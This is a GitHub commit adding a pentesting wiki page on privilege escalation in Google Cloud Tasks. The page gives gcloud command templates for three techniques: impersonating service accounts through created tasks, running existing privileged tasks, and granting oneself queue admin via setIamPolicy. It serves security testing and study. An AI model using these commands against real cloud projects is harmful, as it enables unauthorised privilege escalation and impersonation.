Skip to content

Commit 69e04c0

Browse files
authored
Merge pull request #196 from lambdasawa/master
grte-lambdasawa
2 parents bcb1db6 + 4c40d05 commit 69e04c0

File tree

2 files changed

+52
-0
lines changed

2 files changed

+52
-0
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -107,6 +107,7 @@
107107
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
108108
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
109109
- [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
110+
- [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md)
110111
- [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
111112
- [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
112113
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# GCP - Cloud Tasks Privesc
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## Cloud Tasks
6+
7+
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
8+
9+
An attacker with these permissions can **impersonate other service accounts** by creating tasks that execute with the specified service account's identity. This allows sending **authenticated HTTP requests to IAM-protected Cloud Run or Cloud Functions** services.
10+
11+
```bash
12+
gcloud tasks create-http-task \
13+
task-$(date '+%Y%m%d%H%M%S') \
14+
--location us-central1 \
15+
--queue <queue_name> \
16+
--url 'https://<service_name>.us-central1.run.app' \
17+
--method POST \
18+
--header 'X-Hello: world' \
19+
--body-content '{"hello":"world"}' \
20+
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
21+
```
22+
23+
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
24+
25+
An attacker with these permissions can **run existing scheduled tasks** without having permissions on the service account associated with the task. This allows executing tasks that were previously created with higher privileged service accounts.
26+
27+
```bash
28+
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
29+
```
30+
31+
The principal executing this command **doesn't need `iam.serviceAccounts.actAs` permission** on the task's service account. However, this only allows running existing tasks - it doesn't grant the ability to create or modify tasks.
32+
33+
### `cloudtasks.queues.setIamPolicy`
34+
35+
An attacker with this permission can **grant themselves or other principals Cloud Tasks roles** on specific queues, potentially escalating to `roles/cloudtasks.admin` which includes the ability to create and run tasks.
36+
37+
```bash
38+
gcloud tasks queues add-iam-policy-binding \
39+
<queue_name> \
40+
--location us-central1 \
41+
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
42+
--role roles/cloudtasks.admin
43+
```
44+
45+
This allows the attacker to grant full Cloud Tasks admin permissions on the queue to any service account they control.
46+
47+
## References
48+
49+
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
50+
51+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)